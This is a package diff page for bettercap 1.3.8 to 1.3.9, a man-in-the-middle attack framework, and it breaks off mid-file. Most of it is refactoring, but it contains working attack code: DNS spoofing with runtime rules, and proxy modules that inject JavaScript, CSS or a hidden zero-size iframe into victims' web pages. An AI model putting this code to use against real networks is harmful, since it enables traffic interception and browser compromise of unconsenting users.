bettercap 1.3.8 → 1.3.9

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 97b1b49dc607820e776704bce9ca73d9bcb55b0b
4
- data.tar.gz: 194f31c34fecf4695f9b7a5728cebcab3a1bc0f2
3
+ metadata.gz: 04fcfc9b8b34c69b44236a52f322bd0e9dc42e68
4
+ data.tar.gz: a37d61a2d587eedc1e4682ee4c885629db12bd86
5
5
  SHA512:
6
- metadata.gz: f2eff4d44d1e1db62e406de421c458c97e9a8cba55d554ad2465d7cb019b488f8e961f8e5a304865c8e9a390df343cddb32d87585a99979d1279d4a832cc1498
7
- data.tar.gz: 24249e328e6ffb0a082d7058d0aacdaa6c75fdec75e820274d266f0f41a6686c781b4a91141fa52aa2bf9b6a1caf935ec6b5880ec42b6f4f7c95dd2087d078d5
6
+ metadata.gz: 33c42e7fee3330128513900d7ad5bbb6058adae66177fd75516d164cdd18d78ca6d9cacf928b071dd16b1781ca9de93f90a58442911cf4aea0b6ad64fc5206b3
7
+ data.tar.gz: 77d9f295dcf9e390bfdaabbb20c972bdf2768b1edf4a443aaea0845b525c2d1f203ed68acc210b87ef59729873e3bd36cdb4ed03f1bd2f73cb7bc0f0426933f1
@@ -93,7 +93,7 @@ class Context
93
93
  raise BetterCap::Error, "Could not detect the gateway address for interface #{@options.iface}, "\
94
94
  'make sure you\'ve specified the correct network interface to use and to have the '\
95
95
  'correct network configuration, this could also happen if bettercap '\
96
- 'is launched from a virtual environment.' if @gateway.nil? or !Network.is_ip?(@gateway)
96
+ 'is launched from a virtual environment.' unless Network::Validator.is_ip?(@gateway)
97
97
 
98
98
  Logger.debug '----- NETWORK INFORMATIONS -----'
99
99
  Logger.debug " network = #{@ifconfig[:ip4_obj]}"
@@ -18,18 +18,26 @@ module Agents
18
18
  # Base class for BetterCap::Discovery::Agents.
19
19
  class Base
20
20
  # Initialize the agent using the +ctx+ BetterCap::Context instance.
21
- def initialize( ctx )
21
+ # If +address+ is not nil only that ip will be probed.
22
+ def initialize( ctx, address = nil )
22
23
  @ctx = ctx
23
24
  @ifconfig = ctx.ifconfig
24
25
  @local_ip = @ifconfig[:ip_saddr]
25
-
26
- net = ip = @ifconfig[:ip4_obj]
27
- # loop each ip in our subnet and push it to the queue
28
- while net.include?ip
29
- unless skip_address?(ip)
30
- @ctx.packets.push( get_probe(ip) )
26
+ @address = address
27
+
28
+ if @address.nil?
29
+ net = ip = @ifconfig[:ip4_obj]
30
+ # loop each ip in our subnet and push it to the queue
31
+ while net.include?ip
32
+ unless skip_address?(ip)
33
+ @ctx.packets.push( get_probe(ip) )
34
+ end
35
+ ip = ip.succ
36
+ end
37
+ else
38
+ unless skip_address?(@address)
39
+ @ctx.packets.push( get_probe(@address) )
31
40
  end
32
- ip = ip.succ
33
41
  end
34
42
  end
35
43
 
@@ -19,7 +19,7 @@ module Agents
19
19
  class Icmp
20
20
  # Create a thread which will perform a ping-sweep on the network in order
21
21
  # to populate the ARP cache with active targets.
22
- def initialize( ctx )
22
+ def initialize( ctx, address = nil )
23
23
  Firewalls::Base.get.enable_icmp_bcast(true)
24
24
 
25
25
  # TODO: Use the real broadcast address for this network.
@@ -16,37 +16,19 @@ module BetterCap
16
16
  # Handles various network related tasks.
17
17
  module Network
18
18
  class << self
19
- # Return true if +ip+ is a valid IP address, otherwise false.
20
- def is_ip?(ip)
21
- if /\A(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\Z/ =~ ip.to_s
22
- return $~.captures.all? {|i| i.to_i < 256}
23
- end
24
- false
25
- end
26
-
27
- # Return true if +mac+ is a valid MAC address, otherwise false.
28
- def is_mac?(mac)
29
- ( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
30
- end
31
-
32
19
  # Return the current network gateway or nil.
33
20
  def get_gateway
34
21
  nstat = Shell.execute('netstat -nr')
22
+ iface = Context.get.options.iface
35
23
 
36
24
  Logger.debug "NETSTAT:\n#{nstat}"
37
25
 
38
- out = nstat.split(/\n/).select {|n| n =~ /UG/ }
39
- gw = nil
40
- out.each do |line|
41
- if line.include?( Context.get.options.iface )
42
- tmp = line.split[1]
43
- if is_ip?(tmp)
44
- gw = tmp
45
- break
46
- end
26
+ nstat.split(/\n/).select {|n| n =~ /UG/ }.each do |line|
27
+ Network::Validator.each_ip(line) do |address|
28
+ return address
47
29
  end
48
30
  end
49
- gw
31
+ nil
50
32
  end
51
33
 
52
34
  # Return a list of IP addresses associated to this device network interfaces.
@@ -95,72 +77,27 @@ class << self
95
77
 
96
78
  # Return the hardware address associated with the specified +ip_address+ using
97
79
  # the +iface+ network interface.
98
- # The resolution will be performed for the specified number of +attempts+.
99
- def get_hw_address( iface, ip_address, attempts = 2 )
100
- hw_address = ArpReader.find_address( ip_address )
101
-
102
- if hw_address.nil?
103
- attempts.times do
104
- arp_pkt = PacketFu::ARPPacket.new
105
-
106
- arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
107
- arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
108
- arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
109
- arp_pkt.arp_saddr_ip = iface[:ip_saddr]
110
- arp_pkt.arp_daddr_ip = ip_address
111
-
112
- cap_thread = Thread.new do
113
- Context.get.packets.push(arp_pkt)
114
-
115
- target_mac = nil
116
- timeout = 0
117
-
118
- cap = PacketFu::Capture.new(
119
- iface: iface[:iface],
120
- start: true,
121
- filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
122
- )
123
-
124
- begin
125
- Logger.debug 'Attempting to get MAC from packet capture ...'
126
- target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
127
- rescue Timeout::Error
128
- timeout += 0.1
129
- retry if target_mac.nil? && timeout <= 5
130
- end
131
-
132
- target_mac
133
- end
134
- hw_address = cap_thread.value
135
-
136
- break unless hw_address.nil?
137
- end
80
+ def get_hw_address( ctx, ip )
81
+ hw = ArpReader.find_address( ip )
82
+ if hw.nil?
83
+ start_agents( ctx, ip )
84
+ hw = ArpReader.find_address( ip )
138
85
  end
139
-
140
- hw_address
86
+ hw
141
87
  end
142
88
 
143
89
  private
144
90
 
145
91
  # Start discovery agents and wait for +ctx.timeout+ seconds for them to
146
92
  # complete their job.
147
- def start_agents( ctx )
93
+ # If +address+ is not nil only that ip will be probed.
94
+ def start_agents( ctx, address = nil )
148
95
  [ 'Icmp', 'Udp', 'Arp' ].each do |name|
149
- BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx)
96
+ BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
150
97
  end
151
98
  ctx.packets.wait_empty( ctx.timeout )
152
99
  end
153
-
154
- # Search for the MAC address associated to +ip_address+ inside the +cap+
155
- # PacketFu::Capture object.
156
- def get_mac_from_capture( cap, ip_address )
157
- cap.stream.each do |p|
158
- arp_response = PacketFu::Packet.parse(p)
159
- target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == ip_address
160
- break target_mac unless target_mac.nil?
161
- end
162
- end
163
-
164
100
  end
101
+
165
102
  end
166
103
  end
@@ -63,7 +63,7 @@ class PacketQueue
63
63
  def dispatch_udp_packet(packet)
64
64
  ip, port, data = packet
65
65
  @mutex.synchronize {
66
- Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
66
+ Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
67
67
  @udp.send( data, 0, ip, port )
68
68
  }
69
69
  end
@@ -71,7 +71,7 @@ class PacketQueue
71
71
  # Use the global Pcap injection instance to send the +packet+.
72
72
  def dispatch_raw_packet(packet)
73
73
  @mutex.synchronize {
74
- Logger.debug "Sending #{packet.class.name} packet ..."
74
+ # Logger.debug "Sending #{packet.class.name} packet ..."
75
75
  @stream.inject( packet.headers[0].to_s )
76
76
  }
77
77
  end
@@ -18,10 +18,21 @@ module Servers
18
18
 
19
19
  # Class to wrap RubyDNS::RuleBasedServer and add some utility methods.
20
20
  class DnsWrapper < RubyDNS::RuleBasedServer
21
+ # List of redirection rules.
22
+ attr_accessor :rules
23
+ # we need this in order to add rules at runtime.
24
+ @@instance = nil
25
+
26
+ # Return the active instance of this object.
27
+ def self.get
28
+ @@instance
29
+ end
30
+
21
31
  # Instantiate a server with a block.
22
32
  def initialize(options = {}, &block)
23
33
  super(options,&block)
24
34
  @rules = options[:rules]
35
+ @@instance = self
25
36
  end
26
37
  # Give a name and a record type, try to match a rule and use it for processing the given arguments.
27
38
  def process(name, resource_class, transaction)
@@ -35,7 +46,7 @@ class DNSD
35
46
  # Initialize the DNS server with the specified +address+ and tcp/udp +port+.
36
47
  # The server will load +hosts_filename+ composed by 'regexp -> ip' entries
37
48
  # to do custom DNS spoofing/resolution.
38
- def initialize( hosts_filename, address = '0.0.0.0', port = 5300 )
49
+ def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
39
50
  @port = port
40
51
  @address = address
41
52
  @server = nil
@@ -46,16 +57,29 @@ class DNSD
46
57
  [:tcp, address, port]
47
58
  ]
48
59
 
49
- DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
50
- block = Proc.new do |transaction|
51
- Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
52
- transaction.respond!(addr)
60
+ unless hosts_filename.nil?
61
+ DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
62
+ block = Proc.new do |transaction|
63
+ Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
64
+ transaction.respond!(addr)
65
+ end
66
+
67
+ @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
53
68
  end
54
69
 
55
- @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
70
+ Logger.warn "Empty hosts file for DNS server." if @rules.empty?
71
+ end
72
+ end
73
+
74
+ # Add a rule to the DNS resolver at runtime.
75
+ def add_rule( exp, addr )
76
+ Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
77
+ block = Proc.new do |transaction|
78
+ Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
79
+ transaction.respond!(addr)
56
80
  end
57
81
 
58
- Logger.warn "Empty hosts file for DNS server." if @rules.empty?
82
+ DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )
59
83
  end
60
84
 
61
85
  # Start the server.
@@ -63,7 +87,14 @@ class DNSD
63
87
  Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
64
88
 
65
89
  @thread = Thread.new {
66
- RubyDNS::run_server(:listen => @ifaces, :asynchronous => true, :server_class => DnsWrapper, :rules => @rules ) do
90
+ options = {
91
+ :listen => @ifaces,
92
+ :asynchronous => true,
93
+ :server_class => DnsWrapper,
94
+ :rules => @rules
95
+ }
96
+
97
+ RubyDNS::run_server( options ) do
67
98
  # Suppress RubyDNS logging.
68
99
  @logger.level = ::Logger::ERROR
69
100
  @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
@@ -108,7 +139,8 @@ class DNSD
108
139
  address = Context.get.ifconfig[:ip_saddr].to_s
109
140
  end
110
141
 
111
- raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." unless Network.is_ip?(address)
142
+ raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." \
143
+ unless Network::Validator.is_ip?(address)
112
144
 
113
145
  begin
114
146
  hosts[ Regexp.new(expression) ] = address
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
13
  require 'socket'
15
14
 
16
15
  module BetterCap
@@ -45,13 +44,15 @@ class Target
45
44
  # ip address will be parsed from the computer ARP cache and updated
46
45
  # accordingly.
47
46
  def initialize( ip, mac=nil )
48
- if Network.is_ip?(ip)
49
- @ip = ip
47
+ if Network::Validator.is_ip?(ip)
48
+ @ip = ip
50
49
  @ip_refresh = false
51
- else
50
+ elsif Network::Validator.is_mac?(ip)
52
51
  @ip = nil
53
52
  mac = ip
54
53
  @ip_refresh = true
54
+ else
55
+ raise BetterCap::Error, "'#{ip}' is not a valid IP or MAC address."
55
56
  end
56
57
 
57
58
  @mac = Target.normalized_mac(mac) unless mac.nil?
@@ -0,0 +1,87 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+ module BetterCap
14
+ module Network
15
+ # Simple class to perform validation of various addresses, ranges, etc.
16
+ class Validator
17
+ # Basic expression to validate an IP address.
18
+ IP_ADDRESS_REGEX = '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})'
19
+ # Quite self explainatory :)
20
+ IP_OCTECT_MAX = 255
21
+
22
+ # Return true if +ip+ is a valid IP address, otherwise false.
23
+ def self.is_ip?(ip)
24
+ if /\A#{IP_ADDRESS_REGEX}\Z/ =~ ip.to_s
25
+ return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
26
+ end
27
+ false
28
+ end
29
+
30
+ # Extract valid IP addresses from +data+ and yields each one of them.
31
+ def self.each_ip(data)
32
+ data.scan(/(#{IP_ADDRESS_REGEX})/).each do |m|
33
+ yield( m[0] ) if m[0] != '0.0.0.0'
34
+ end
35
+ end
36
+
37
+ # Return true if +r+ is a valid IP address range ( 192.168.1.1-93 ), otherwise false.
38
+ def self.is_range?(r)
39
+ if /\A#{IP_ADDRESS_REGEX}\-(\d{1,3})\Z/ =~ r.to_s
40
+ return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
41
+ end
42
+ false
43
+ end
44
+
45
+ # Parse +r+ as an IP range and return the first and last IP.
46
+ def self.parse_range(r)
47
+ first, last_part = r.split('-')
48
+ last = first.split('.')[0..2].join('.') + ".#{last_part}"
49
+ first = IPAddr.new(first)
50
+ last = IPAddr.new(last)
51
+
52
+ [ first, last ]
53
+ end
54
+
55
+ # Parse +r+ as an IP range and yields each address in it.
56
+ def self.each_in_range(r)
57
+ first, last = self.parse_range(r)
58
+ loop do
59
+ yield first.to_s
60
+ break if first == last
61
+ first = first.succ
62
+ end
63
+ end
64
+
65
+ # Parse +m+ as a netmask and yields each address in it.
66
+ def self.each_in_netmask(m)
67
+ IPAddr.new(m).to_range.each do |o|
68
+ yield o.to_s
69
+ end
70
+ end
71
+
72
+ # Return true if +n+ is a valid IP netmask range ( 192.168.1.1/24 ), otherwise false.
73
+ def self.is_netmask?(n)
74
+ if /\A#{IP_ADDRESS_REGEX}\/(\d+)\Z/ =~ n.to_s
75
+ return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
76
+ end
77
+ false
78
+ end
79
+
80
+ # Return true if +mac+ is a valid MAC address, otherwise false.
81
+ def self.is_mac?(mac)
82
+ ( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
83
+ end
84
+ end
85
+
86
+ end
87
+ end
@@ -367,8 +367,13 @@ class Options
367
367
 
368
368
  ctx.options.starting_message
369
369
 
370
+ if ctx.options.sslstrip and ctx.options.dnsd
371
+ raise BetterCap::Error, "SSL Stripping and builtin DNS server are mutually exclusive features, " \
372
+ "either use the --no-sslstrip option or remove the --dns option."
373
+ end
374
+
370
375
  unless ctx.options.gateway.nil?
371
- raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway)
376
+ raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
372
377
  ctx.gateway = ctx.options.gateway
373
378
  Logger.debug("Targetting manually specified gateway #{ctx.gateway}")
374
379
  end
@@ -418,7 +423,7 @@ class Options
418
423
  # or more invalid IP addresses are specified.
419
424
  def parse_ignore!(value)
420
425
  @ignore = value.split(",")
421
- valid = @ignore.select { |target| Network.is_ip?(target) }
426
+ valid = @ignore.select { |target| Network::Validator.is_ip?(target) }
422
427
 
423
428
  raise BetterCap::Error, "Invalid ignore addresses specified." if valid.empty?
424
429
 
@@ -435,7 +440,7 @@ class Options
435
440
  # Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
436
441
  # BetterCap::Error if +value+ is not a valid IP address.
437
442
  def parse_custom_proxy!(value, https=false)
438
- raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
443
+ raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
439
444
  if https
440
445
  @custom_proxy = value
441
446
  else
@@ -460,25 +465,37 @@ class Options
460
465
  # Split specified targets and parse them ( either as IP or MAC ), will raise a
461
466
  # BetterCap::Error if one or more invalid addresses are specified.
462
467
  def parse_targets
468
+ valid = []
463
469
  targets = @target.split(",")
464
- valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
465
470
 
466
- raise BetterCap::Error, "Invalid target specified." if valid_targets.empty?
471
+ targets.each do |t|
472
+ if Network::Validator.is_ip?(t) or Network::Validator.is_mac?(t)
473
+ valid << Network::Target.new(t)
474
+
475
+ elsif Network::Validator.is_range?(t)
476
+ Network::Validator.each_in_range( t ) do |address|
477
+ valid << Network::Target.new(address)
478
+ end
467
479
 
468
- invalid_targets = targets - valid_targets
469
- invalid_targets.each do |target|
470
- Logger.warn "Invalid target specified: #{target}"
480
+ elsif Network::Validator.is_netmask?(t)
481
+ Network::Validator.each_in_netmask(t) do |address|
482
+ valid << Network::Target.new(address)
483
+ end
484
+
485
+ else
486
+ raise BetterCap::Error, "Invalid target specified '#{t}', valid formats are IP addresses, "\
487
+ "MAC addresses, IP ranges ( 192.168.1.1-30 ) or netmasks ( 192.168.1.1/24 ) ."
488
+ end
471
489
  end
472
490
 
473
- valid_targets.map { |target| Network::Target.new(target) }
491
+ valid
474
492
  end
475
493
 
476
494
  # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
477
495
  # BetterCap::Error if an invalid spoofer name was specified.
478
496
  def parse_spoofers
479
497
  spoofers = []
480
- spoofer_modules_names = @spoofer.split(",")
481
- spoofer_modules_names.each do |module_name|
498
+ @spoofer.split(",").each do |module_name|
482
499
  spoofers << Spoofers::Base.get_by_name( module_name )
483
500
  end
484
501
  spoofers
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@cssdata.nil?
62
62
  response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
44
44
  def on_request( request, response )
45
45
  # is it a html page?
46
46
  if response.content_type =~ /^text\/html.*/
47
- BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into http://#{request.host}#{request.url}"
47
+ BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
48
48
 
49
49
  if @@data.nil?
50
50
  response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@jsdata.nil?
62
62
  response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
@@ -45,8 +45,13 @@ class Proxy
45
45
 
46
46
  BasicSocket.do_not_reverse_lookup = true
47
47
 
48
- @pool = ThreadPool.new( 4, 16 ) do |client|
48
+ @pool = ThreadPool.new( 4, 64 ) do |client|
49
+ begin
49
50
  client_worker client
51
+ rescue Exception => e
52
+ Logger.warn "Client worker errort: #{e.message}"
53
+ Logger.exception e
54
+ end
50
55
  end
51
56
  end
52
57
 
@@ -98,6 +103,9 @@ class Proxy
98
103
  while @running do
99
104
  begin
100
105
  @pool << @server.accept
106
+ rescue OpenSSL::SSL::SSLError => se
107
+ Logger.debug("Error while accepting #{@type} connection.")
108
+ Logger.exception(se)
101
109
  rescue Exception => e
102
110
  Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
103
111
  end
@@ -109,7 +117,10 @@ class Proxy
109
117
  # Return true if the +request+ host header contains one of this computer
110
118
  # ip addresses.
111
119
  def is_self_request?(request)
112
- @local_ips.include? IPSocket.getaddress(request.host)
120
+ begin
121
+ return @local_ips.include? IPSocket.getaddress(request.host)
122
+ rescue; end
123
+ false
113
124
  end
114
125
 
115
126
  # Handle a new +client+.
@@ -121,12 +132,14 @@ class Proxy
121
132
 
122
133
  request.read(client)
123
134
 
135
+ Logger.debug 'Request parsed.'
136
+
124
137
  # stripped request
125
138
  if @streamer.was_stripped?( request, client )
126
139
  @streamer.handle( request, client )
127
140
  # someone is having fun with us =)
128
141
  elsif is_self_request? request
129
- @streamer.rickroll( client, @is_https )
142
+ @streamer.rickroll( client )
130
143
  # handle request
131
144
  else
132
145
  @streamer.handle( request, client )
@@ -135,10 +148,12 @@ class Proxy
135
148
  Logger.debug "#{@type} client served."
136
149
 
137
150
  rescue SocketError => se
138
- Logger.debug "Socket error while serving client: #{e.message}"
139
- Logger.exception e
151
+ Logger.debug "Socket error while serving client: #{se.message}"
152
+ # Logger.exception se
140
153
  rescue Errno::EPIPE => ep
141
154
  Logger.debug "Connection closed while serving client."
155
+ rescue EOFError => eof
156
+ Logger.debug "EOFError while serving client."
142
157
  rescue Exception => e
143
158
  Logger.warn "Error while serving client: #{e.message}"
144
159
  Logger.exception e
@@ -15,12 +15,12 @@ module BetterCap
15
15
  module Proxy
16
16
  # HTTP request parser.
17
17
  class Request
18
- # Patched request lines.
19
- attr_reader :lines
20
- # HTTP verb.
21
- attr_reader :verb
22
- # Request URL.
23
- attr_reader :url
18
+ # HTTP method.
19
+ attr_reader :method
20
+ # HTTP version.
21
+ attr_reader :version
22
+ # Request path + query.
23
+ attr_reader :path
24
24
  # Hostname.
25
25
  attr_reader :host
26
26
  # Request port.
@@ -33,21 +33,19 @@ class Request
33
33
  attr_accessor :body
34
34
  # Client address.
35
35
  attr_accessor :client
36
- # Client port.
37
- attr_accessor :client_port
38
36
 
39
37
  # Initialize this object setting #port to +default_port+.
40
38
  def initialize( default_port = 80 )
41
- @lines = []
42
- @verb = nil
43
- @url = nil
44
- @host = nil
45
- @port = default_port
46
- @headers = {}
39
+ @lines = []
40
+ @method = nil
41
+ @version = '1.1'
42
+ @path = nil
43
+ @host = nil
44
+ @port = default_port
45
+ @headers = {}
47
46
  @content_length = 0
48
- @body = nil
49
- @client = ""
50
- @client_port = 0
47
+ @body = nil
48
+ @client = ""
51
49
  end
52
50
 
53
51
  # Read lines from the +sock+ socket and parse them.
@@ -94,64 +92,71 @@ class Request
94
92
  Logger.debug " REQUEST LINE: '#{line}'"
95
93
 
96
94
  # is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
97
- if @url.nil? and line =~ /^(\w+)\s+(\S+)\s+HTTP\/[\d\.]+\s*$/
98
- @verb = $1
99
- @url = $2
95
+ if line =~ /^(\w+)\s+(\S+)\s+HTTP\/([\d\.]+)\s*$/
96
+ @method = $1
97
+ @path = $2
98
+ @version = $3
100
99
 
101
100
  # fix url
102
- if @url.include? '://'
103
- uri = URI::parse @url
104
- @url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
101
+ if @path.include? '://'
102
+ uri = URI::parse @path
103
+ @path = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
105
104
  end
106
105
 
107
- line = "#{@verb} #{@url} HTTP/1.1"
108
- # get the host header value
109
- elsif line =~ /^Host:\s*(.*)$/
110
- @host = $1
111
- if host =~ /([^:]*):([0-9]*)$/
112
- @host = $1
113
- @port = $2.to_i
106
+ # collect and fix headers
107
+ elsif line =~ /^([^:\s]+)\s*:\s*(.+)$/i
108
+ name = $1
109
+ value = $2
110
+
111
+ case name
112
+ when 'Host'
113
+ @host = value
114
+ if @host =~ /([^:]*):([0-9]*)$/
115
+ @host = $1
116
+ @port = $2.to_i
117
+ end
118
+ when 'Content-Length'
119
+ @content_length = value.to_i
120
+ # we don't want to have hundreds of threads running
121
+ when 'Connection'
122
+ value = 'close'
123
+ when 'Proxy-Connection'
124
+ name = 'Connection'
125
+ # disable gzip, chunked, etc encodings
126
+ when 'Accept-Encoding'
127
+ value = 'identity'
114
128
  end
115
- # parse content length, this will speed up data streaming
116
- elsif line =~ /^Content-Length:\s+(\d+)\s*$/i
117
- @content_length = $1.to_i
118
- # we don't want to have hundreds of threads running
119
- elsif line =~ /^Connection: keep-alive/i
120
- line = 'Connection: close'
121
- elsif line =~ /^Proxy-Connection: (.+)/i
122
- line = "Connection: #{$1}"
123
- # disable gzip, chunked, etc encodings
124
- elsif line =~ /^Accept-Encoding:.*/i
125
- line = 'Accept-Encoding: identity'
126
- end
127
129
 
128
- # collect headers
129
- if line =~ /^([^:\s]+)\s*:\s*(.+)$/i
130
- @headers[$1] = $2
130
+ @headers[name] = value
131
131
  end
132
-
133
- @lines << line
134
132
  end
135
133
 
136
134
  # Return true if this is a POST request, otherwise false.
137
135
  def post?
138
- @verb == 'POST'
136
+ @method == 'POST'
139
137
  end
140
138
 
141
139
  # Return a string representation of the HTTP request.
142
140
  def to_s
143
- @lines.join("\n") + "\n" + ( @body || '' )
141
+ raw = "#{@method} #{@path} HTTP/#{@version}\n"
142
+
143
+ @headers.each do |name,value|
144
+ raw << "#{name}: #{value}\n"
145
+ end
146
+
147
+ raw << "\n"
148
+ raw << ( @body || '' )
149
+ raw
144
150
  end
145
151
 
152
+ # Return SCHEMA://HOST
146
153
  def base_url
147
- schema = if port == 443 then 'https' else 'http' end
148
- "#{schema}://#{@host}/"
154
+ "#{port == 443 ? 'https' : 'http'}://#{@host}"
149
155
  end
150
156
 
151
157
  # Return the full request URL trimming it at +max_length+ characters.
152
158
  def to_url(max_length = 50)
153
- schema = if port == 443 then 'https' else 'http' end
154
- url = "#{schema}://#{@host}#{@url}"
159
+ url = "#{base_url}#{@path}"
155
160
  unless max_length.nil?
156
161
  url = url.slice(0..max_length) + '...' unless url.length <= max_length
157
162
  end
@@ -160,37 +165,23 @@ class Request
160
165
 
161
166
  # Return the value of header with +name+ or an empty string.
162
167
  def [](name)
163
- if @headers.include?(name) then @headers[name] else "" end
168
+ ( @headers.has_key?(name) ? @headers[name] : "" )
164
169
  end
165
170
 
166
171
  # If the header with +name+ is found, then a +value+ is assigned to it.
167
172
  # If +value+ is null and the header is found, it will be removed.
168
173
  def []=(name, value)
169
- found = false
170
- @lines.each_with_index do |line,i|
171
- if line =~ /^#{name}:\s*.+$/i
172
- found = true
173
- if value.nil?
174
- @headers.delete(name)
175
- @lines.delete_at(i)
176
- else
177
- @headers[name] = value
178
- @lines[i] = "#{name}: #{value}"
179
- end
180
- break
174
+ if @headers.has_key?(name)
175
+ if value.nil?
176
+ @headers.delete(name)
177
+ else
178
+ @headers[name] = value
181
179
  end
182
- end
183
-
184
- if name == 'Host'
185
- @host = value
186
- end
187
-
188
- if !found and !value.nil?
180
+ elsif !value.nil?
189
181
  @headers[name] = value
190
- @lines << "#{name}: #{value}"
191
182
  end
192
183
 
193
- @lines.reject!(&:empty?)
184
+ @host = value if name == 'Host'
194
185
  end
195
186
  end
196
187
  end
@@ -155,13 +155,18 @@ class Response
155
155
  found = false
156
156
  @headers.each_with_index do |header,i|
157
157
  if header =~ /^#{name}:\s*.+$/i
158
- @headers[i] = "#{name}: #{value}"
158
+ if value.nil?
159
+ @headers.delete(i)
160
+ else
161
+ @headers[i] = "#{name}: #{value}"
162
+ end
163
+
159
164
  found = true
160
165
  break
161
166
  end
162
167
  end
163
168
 
164
- unless found
169
+ unless found or value.nil?
165
170
  @headers << "#{name}: #{value}"
166
171
  end
167
172
  end
@@ -28,7 +28,8 @@ class StrippedObject
28
28
  SUBDOMAIN_REPLACES = {
29
29
